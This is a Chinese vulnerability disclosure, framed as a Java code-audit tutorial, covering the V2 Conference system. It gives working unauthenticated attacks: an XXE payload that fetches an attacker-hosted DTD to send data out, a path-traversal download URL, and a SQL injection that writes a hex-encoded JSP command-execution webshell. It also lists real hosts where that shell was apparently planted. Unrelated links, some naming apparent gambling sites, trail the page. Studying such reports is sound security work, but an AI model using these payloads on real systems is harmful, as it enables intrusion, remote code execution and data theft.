java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

基本字段

漏洞编号:

SSV-95967

披露/发现时间:

2016-03-23

提交时间:

2016-03-23

漏洞等级:

漏洞类别:

其他类型

影响组件:

V2 Conference

漏洞作者:

牛肉包子

提交者:

Knownsec

CVE-ID:

补充

CNNVD-ID:

补充

CNVD-ID:

补充

ZoomEye Dork:

补充

来源

http://wooyun.org/bugs/wooyun-2016-0188136

漏洞详情

贡献者

Knownsec

共获得 0KB

### 简要描述:

包括 sql注入 任意文件下载 越权 getshell xml实体注入

感谢@loopx9大牛帮助

### 详细说明:

因为学习java并不是很长时间,也没有做深入的研究。但是在学习之后,发现可以审计出一些简单的javaweb漏洞,所以想这这里和大家分享一下。

0x01审计之初

首先,我拿到了源码之后,大概看了一下这个系统的架构,发现是通过Struts写的。在具体看代码之前,我们先看一下这个会议系统有什么功能,在代码审计的时候,不能一股脑的先跑过去就看代码,我们要学会通过功能去找问题的缺陷。现在以**.**.**.**:8288/Conf/jsp/main/mainAction.do 这个站为测试案例。访问之后发现,只有列出了会议,登录,下载这些功能。其中会议进入需要密码,然后还有登录。但是无法注册用户,所以在这套系统中,我们应该去那种无需登录就可以利用的漏洞,如果要登录才能利用那就显得太鸡肋了。先通过常规的黑盒测试并没有发现漏洞(目前暴露出来的功能),下一步我们来审计源码。

0x02 源码审计

在审计javaweb的时候,我的第一步是去看web.xml这种配置文件,在这里里面配置了url的路由规则,severlet的配置,以及fitler的设置。其中fitler的作用就是某一后缀或者某一目录下的所以文件做一次拦截,一般就是用来验证那些需要登录的功能。

Conf\WEB-INF\web.xml

```

requestfilter

**.**.**.**mon.RequestFilter

requestfilter

/*

```

这里设置了fitler,我们定位到**.**.**.**mon.RequestFilter

```

public class RequestFilter extends HttpServlet

implements Filter

{

private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)

throws ServletException

{

this.filterConfig = filterConfig;

}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)

{

try

{

request.setCharacterEncoding("UTF-8");

filterChain.doFilter(request, response);

} catch (ServletException sx) {

this.filterConfig.getServletContext().log(sx.getMessage());

} catch (IOException iox) {

this.filterConfig.getServletContext().log(iox.getMessage());

}

}

public void destroy()

{

}

}

```

这儿只是设置了一下页面编码为utf-8,然后继续下面操作,从这儿可以看出这个这个cms并没有通过fitler来做权限控制,这样就很有可能存在未授权的地方。

继续看web.xml里面的内容

```

action

org.apache.struts.action.ActionServlet

config

/WEB-INF/struts-config.xml

debug

2

2

Apache-Axis Servlet

AxisServlet

org.apache.axis.transport.http.AxisServlet

proxoolAdmin

org.logicalcobwebs.proxool.admin.servlet.AdminServlet

action

*.do

AxisServlet

/servlet/AxisServlet

AxisServlet

*.jws

AxisServlet

/services/*

proxoolAdmin

/proxoolAdmin

```

可以看出定义了proxoolAdmin servlet/AxisServlet /services/* 这些url路由,并且包含了/WEB-INF/struts-config.xml配置文件,让在这些url路由中发现

```

**.**.**.**:8288//Conf/servlet/AxisServlet

```

暴露了一些webservices的接口

[QQ20160323-0@2x.jpg](https://images.seebug.org/upload/201603/2313254916bc5282f54fb62c598e7bcf02caf68e.jpg)

```

**.**.**.**:8288/Conf/proxoolAdmin

```

数据库的一些信息

[QQ20160323-1@2x.jpg](https://images.seebug.org/upload/201603/23132709738498021249ac5310ad3e2309d3f2da.jpg)

先看暴露出的webservices接口存在什么问题

定位代码webapps\Conf\WEB-INF\classes\com\v2tech\cms\webservices\DeptWebService.class

```

public class DeptWebService

{

public String getWebServiceResult(int tradeCode, String xml, String webservicepass)

{

String rtn = "";

ReadSystemConfig readSystem = new ReadSystemConfig();

if (!(readSystem.getWebservicespass().equals(webservicepass))) {

return "";

}

DepartmentWebServiceBiz deptBiz = new DepartmentWebServiceBiz();

switch (tradeCode)

{

case 100:

rtn = deptBiz.addDepartment(xml);

break;

case 200:

rtn = deptBiz.updateDepartment(xml);

break;

case 300:

rtn = deptBiz.deleteDepartment(xml);

}

return rtn;

}

}

```

其中有个参数为xml,然后通过不同的tradeCode,将xml参数传入其他地方,跟入addDepartment方法

```

public String addDepartment(String xml)

{

Document document = null;

String deptName = "";

String deptDesc = "";

String thirdDeptid = "";

String thirdParentid = "";

String usernum = "";

String inaddress = "";

String deptorder = "";

String rtn = "";

try

{

document = loadXml(xml);

} catch (Exception e) {

return (rtn = "");

}

.........省略........

}

```

其中xml进入了loadXml函数,这儿可能存在xml实体注入。来测试一下。我这儿使用的是AWVS的webservices工具

```

**.**.**.**:8288/Conf/services/BroadcastWebservice?wsdl

```

[QQ20160323-2@2x.jpg](https://images.seebug.org/upload/201603/231338346df192dbb281f931e34997a0f99b7abb.jpg)

直接注入实体发现报错了

[QQ20160323-3@2x.jpg](https://images.seebug.org/upload/201603/23134212d4625da941852af42ae4153024a220bd.jpg)

我们将特殊字符进行实体html编码一次,因为在xml中是可以解析html编码后的数据,这里利用gopher协议来获取数据。

先在vps上面新建一个ext.dtd内容如下

```

">

%int;

%trick;

```

在vps上面监听你设置的端口

然后在请求包处构造

```

<!DOCTYPE root [

<!ENTITY % xxe SYSTEM "你外部实体地址">

%xxe;

]>

```

[QQ20160323-4@2x.jpg](https://images.seebug.org/upload/201603/231348278d38e56a59193835eecbcfe731553944.jpg)

成功获取数据

[QQ20160323-5@2x.jpg](https://images.seebug.org/upload/201603/23134921455ff2f8d80273d7377082dbea051fe6.jpg)

其中可以发现这个getWebServiceResult方法在多个地方调用,在被调用的地方都存在xml实体注入

包括

[QQ20160323-6@2x.jpg](https://images.seebug.org/upload/201603/23135255c323e07f27ca3ef414c5babaa006b856.jpg)

分析完xml实体注入之后,我们继续看代码,我们来看struts-config.xml中的配置(关于struts-config配置可以看http://**.**.**.**/panjun-Donet/articles/1181811.html),所以在这儿我们着重找scope为request,因为我们这样才好利用漏洞。通阅读代码发现这个cms是通过在每个class类中来判断用户是否登录,代码如下

```

HttpSession session = servletRequest.getSession();

if (session.getAttribute("userinfobean") == null) {

Utils utils = new Utils();

Cookie[] cookies = servletRequest.getCookies();

Locale locale = utils.setLocale(session, servletRequest, cookies);

session.setAttribute("org.apache.struts.action.LOCALE", locale);

return actionMapping.findForward("sessioninvalid");

}

```

如果没有登录的话,就通过findForward方法到sessioninvalid,也在struts-config.xml中定义的

```

```

[QQ20160323-7@2x.jpg](https://images.seebug.org/upload/201603/23140305f3b7e0c0737490437c8f54d30b605e6e.jpg)

通过阅读代码发现几处没有存在以上代码的类,这也意味着可以无需登录来利用漏洞

webapps\Conf\WEB-INF\classes\com\v2tech\cms\base\common\struts\DownloadAction.class

```

public class DownloadAction extends Action

{

public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response)

{

try

{

String rootfilepath = System.getProperty("catalina.home");

String dirpath = File.separator;

rootfilepath = rootfilepath + dirpath + ".." + dirpath + "Server";

String path = new String(rootfilepath + dirpath + new String(request.getParameter("path").getBytes("ISO8859-1"), "UTF-8"));

File file = new File(path);

String filename = file.getName();

String ext = filename.substring(filename.lastIndexOf(".") + 1).toUpperCase();

InputStream fis = new BufferedInputStream(new FileInputStream(path));

byte[] buffer = new byte[fis.available()];

fis.read(buffer);

fis.close();

response.reset();

response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));

response.addHeader("Content-Length", "" + file.length());

OutputStream toClient = new BufferedOutputStream(response.getOutputStream());

if (ext.equals("DOC"))

response.setContentType("application/msword");

else {

response.setContentType("application/octet-stream");

}

toClient.write(buffer);

toClient.flush();

toClient.close();

} catch (IOException ex) {

ex.printStackTrace();

}

return null;

}

```

通过request.getParameter("path")获取path然后

```

InputStream fis = new BufferedInputStream(new FileInputStream(path));

byte[] buffer = new byte[fis.available()];

fis.read(buffer);

fis.close();

```

进行文件读取,然后下载。这是一个任意文件下载

```

**.**.**.**:8288/Conf/jsp/common/downloadAction.do?path=../management/webapps/root/index.jsp

```

\webapps\Conf\WEB-INF\classes\com\v2tech\cms\bulletin\struts\BulletinAction.class

```

public class BulletinAction extends BaseAction

{

public ActionForward systemBulletin(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

UserBean userBean = (UserBean)request.getSession().getAttribute("userinfobean");

if (request.getSession().getAttribute("userinfobean") == null) {

return mapping.findForward("sessioninvalid");

}

saveToken(request);

PageBeans pb = null;

String action = request.getParameter("action");

String currentPage = request.getParameter("currentPage");

if ((currentPage == null) || (currentPage.equals("null"))) {

currentPage = "1";

}

int pageSize = 0;

BulletinManage bulletinmagege = new BulletinManage();

try {

pageSize = bulletinmagege.getRowNumber();

} catch (Exception e) {

e.printStackTrace();

}

pb = new PageBeans(pageSize, 30);

String startend = pb.differentiatePlan(action, Integer.parseInt(currentPage));

String[] pages = startend.split(":");

String startPage = pages[0];

String endPage = pages[1];

List bulletin = bulletinmagege.getPages(Integer.parseInt(startPage), Integer.parseInt(endPage));

currentPage = pb.getCurrentPage();

int number = (Integer.parseInt(currentPage) - 1) * 30;

request.setAttribute("result", bulletin);

request.setAttribute("page", pb);

request.setAttribute("currentPage", currentPage);

request.setAttribute("number", String.valueOf(number));

return mapping.findForward("allsysbulletin");

}

public ActionForward details(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

String sysId = request.getParameter("sysId");

BulletinManage bulletinBiz = new BulletinManage();

SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);

if (sysTable != null) {

sysTable.setContent(Utils.htmlConversion(sysTable.getContent()));

sysTable.setTheme(Utils.htmlConversion(sysTable.getTheme()));

}

request.setAttribute("details", sysTable);

return mapping.findForward("details");

}

public ActionForward delete(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

throws SQLException

{

BulletinManage bulletinBiz = new BulletinManage();

String sysId = request.getParameter("sysId");

bulletinBiz.deleteDate(sysId);

String currentPage = request.getParameter("page");

String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage;

return new ActionForward(forword);

}

public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

BulletinManage bulletinBiz = new BulletinManage();

String sysId = request.getParameter("sysId");

String page = request.getParameter("page");

SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);

request.setAttribute("modify", sysTable);

request.setAttribute("page", page);

return mapping.findForward("modify");

}

public ActionForward state(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

BulletinManage bulletinBiz = new BulletinManage();

BulletinActionForm bulletinActionForm = (BulletinActionForm)form;

String sysId = bulletinActionForm.getSysId();

String indexId = request.getParameter("indexId");

request.setAttribute("indexId", indexId);

String state = bulletinActionForm.getState();

bulletinActionForm.setNotemeans("state");

SystembulletinTable sysTable = new SystembulletinTable();

try {

sysTable.setIdCondition(sysId);

sysTable.selectRecord();

sysTable.setState(state);

bulletinBiz.saveData(sysTable);

} catch (SQLException e) {

e.printStackTrace();

}

String currentPage = request.getParameter("page");

String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage;

return new ActionForward(forword);

}

public ActionForward operation(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

BulletinActionForm bulletinActionForm = (BulletinActionForm)form;

SystembulletinTable sysBulletinTable = new SystembulletinTable();

BulletinManage bulletinBiz = new BulletinManage();

String sysId = bulletinActionForm.getSysId();

String theme = bulletinActionForm.getTheme();

theme = theme.trim();

if (theme.length() > 128) {

theme = theme.substring(0, 127);

}

String indexId = request.getParameter("indexId");

request.setAttribute("indexId", indexId);

String content = "";

content = bulletinActionForm.getContent();

if (content.length() > 512) {

content = content.substring(0, 512);

}

String operation = request.getParameter("operation");

if (operation.equalsIgnoreCase("return")) {

return mapping.findForward("return");

}

if (sysId != null)

{

sysBulletinTable.setId(sysId);

}

sysBulletinTable.setTheme(theme);

sysBulletinTable.setContent(content);

if (!(isTokenValid(request))) {

saveToken(request);

return mapping.findForward("bulletin");

}

try {

String result = bulletinBiz.saveData(sysBulletinTable);

if (result.equals(""))

return mapping.findForward("bulletin");

}

catch (Exception e) {

e.printStackTrace();

}

if (BulletinManage.iForward != 0) {

BulletinManage.iForward = 0;

return mapping.findForward("bulletin");

}

String currentPage = request.getParameter("page");

String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage;

return new ActionForward(forword);

}

public ActionForward showIndexList(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

BulletinManage bulletinManage = new BulletinManage();

Vector vector = new Vector();

try {

vector = bulletinManage.showBulletin();

} catch (Exception e) {

log.error("未取到公告信息,请检查数据库配置是否正确!");

}

request.setAttribute("vector", vector);

return mapping.findForward("sysBulletin");

}

public ActionForward ajax(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

String sysId = request.getParameter("sysId");

BulletinManage bulletinBiz = new BulletinManage();

SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);

PrintWriter out = null;

try {

out = response.getWriter();

if (sysTable == null)

out.print(0);

else

out.print(1);

}

catch (IOException e) {

e.printStackTrace();

} finally {

if (out != null) {

out.close();

out = null;

}

}

return null;

}

public ActionForward getNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

BufferedReader br = null;

PrintWriter out = null;

try {

request.setCharacterEncoding("UTF-8");

response.setContentType("Content-Type:text/html;charset=UTF-8");

response.setCharacterEncoding("UTF-8");

response.setHeader("Charset", "UTF-8");

out = response.getWriter();

String path = request.getSession().getServletContext().getRealPath("../../../Server/ml.config");

String managerUrl = null;

String beginStr = "";

String endStr = "";

managerUrl = new Utils().getMasterIp(path, beginStr, endStr);

String contextpath = request.getContextPath();

URL url = new URL(managerUrl + contextpath + "/jsp/systembulletin/bulletinAction.do?operator=getMasterNews");

InputStream in = url.openStream();

br = new BufferedReader(new InputStreamReader(in, "UTF-8"));

String str = br.readLine();

out.write(str);

} catch (Exception e) {

out.write("0");

log.error("[getNews]: throws Exception!", e);

} finally {

try {

if (br != null) {

br.close();

br = null;

}

} catch (IOException e) {

br = null;

} finally {

if (out != null) {

out.close();

out = null;

}

}

}

return null;

}

public ActionForward getMasterNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

PrintWriter out = null;

try {

request.setCharacterEncoding("UTF-8");

response.setContentType("Content-Type:text/html;charset=UTF-8");

response.setCharacterEncoding("UTF-8");

response.setHeader("Charset", "UTF-8");

out = response.getWriter();

int in = new BulletinManage().getMasterNews();

out.write(in + "");

} catch (Exception e) {

out.write("0");

log.error("[getMasterNews]: throws Exception!", e);

} finally {

if (out != null) {

out.close();

out = null;

}

}

return null;

}

```

在这个类中只有systemBulletin方法验证了是否登录,其他的方法都没验证。然后在这个类中又存在多个sql注入。由于这套系统默认是tomcat+mysql这样的架构,其中web路径是不变化的,而且使用mysql的root用户,所以直接可以通过sql注入来getshell。其中details方法,已经在http://**.**.**.**/bugs/wooyun-2010-0143276提交过了

下面我以modify方法为例

```

public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)

{

BulletinManage bulletinBiz = new BulletinManage();

String sysId = request.getParameter("sysId");

String page = request.getParameter("page");

SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);

request.setAttribute("modify", sysTable);

request.setAttribute("page", page);

return mapping.findForward("modify");

}

```

通过 request.getParameter获取sysId然后进入bulletinBiz.getSysBulletinTable

```

public SystembulletinTable getSysBulletinTable(String sysId)

{

SystembulletinTable sysTable = new SystembulletinTable();

try {

sysTable.setIdCondition(sysId);

if (!(sysTable.selectRecord()))

sysTable = null;

}

catch (SQLException e) {

e.printStackTrace();

}

return sysTable;

}

```

然后进入了sql之中。

```

**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 5

```

返回正常

```

**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 6

```

返回为空,确定为五个字段。然后就可以直接写shell了。

构造

```

**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 UNION SELECT 1,2,3,4,0x3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253E0D0A3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207D200D0A6F75742E7072696E746C6E286F7574707574293B253E into dumpfile '../../management/webapps/root/test.jsp'%23

```

成功生成**.**.**.**:8288/test.jsp?cmd=whoami

[QQ20160323-8@2x.jpg](https://images.seebug.org/upload/201603/2314414666524025a53ad0d96f0d76a005b1be3a.jpg)

webapps\Conf\WEB-INF\classes\com\v2tech\cms\user\struts\DeleteDeptAction.class

package com.v2tech.cms.user.struts;

```

public class DeleteDeptAction extends Action

{

public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest servletRequest, HttpServletResponse servletResponse)

{

int deptid = Integer.parseInt(servletRequest.getParameter("deptid"));

DepartmentDao deptdao = new DepartmentDao();

deptdao.deleteDepartmentByDeptId(deptid);

return actionMapping.findForward("deldeptresult");

}

}

```

可以删除任意部门,且无需登录

### 漏洞证明:

案例

[QQ20160323-9@2x.jpg](https://images.seebug.org/upload/201603/231446103660f64beefe06e5aea79be76770d61a.jpg)

采集测试了一些

```

http://**.**.**.**:18080/test.jsp?cmd=whoami

**.**.**.**/test.jsp?cmd=whoami

http://**.**.**.**/test.jsp?cmd=whoami

http://**.**.**.**:443//test.jsp?cmd=whoami

http://**.**.**.**/test.jsp?cmd=whoami

**.**.**.**:8288/test.jsp?cmd=whoami

http://**.**.**.**/test.jsp?cmd=whoami

http://**.**.**.**/test.jsp?cmd=whoami

http://**.**.**.**/test.jsp?cmd=whoami

```

xxe测试

[QQ20160323-10@2x.jpg](https://images.seebug.org/upload/201603/23145140619adb176ef5e6f78e3fc61799113e11.jpg)

共 0 兑换了

PoC

暂无 PoC

参考链接

http://wooyun.org/bugs/wooyun-2016-0188136

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

完善解决方案

返回提交

相关推荐

科目三起步怎么松离合不熄火
365商城官网

科目三起步怎么松离合不熄火

07-21 👁️ 4617
计划版本
365商城官网

计划版本

07-15 👁️ 2371
【平安好车主】7大版本权益盘点平安好车主卡大家族版本众多
AMD FX-8320: 原生八核性能强
365彩票还能玩吗

AMD FX-8320: 原生八核性能强

06-29 👁️ 9003
十类常见的测量工具有哪些 测量物品的工具推荐
3个月的萨摩耶总是啃食泥土沙粒怎么办
365被限制了让提款

3个月的萨摩耶总是啃食泥土沙粒怎么办

07-13 👁️ 1486
橄榄油产地哪最好 世界公认最优质的3个国家
365被限制了让提款

橄榄油产地哪最好 世界公认最优质的3个国家

07-23 👁️ 8641
微信终于可以注册小号了,但这些问题你必须要提前知道
赵晓:你的孩子可能真的很努力,但人家的孩子,一出生就在哈佛门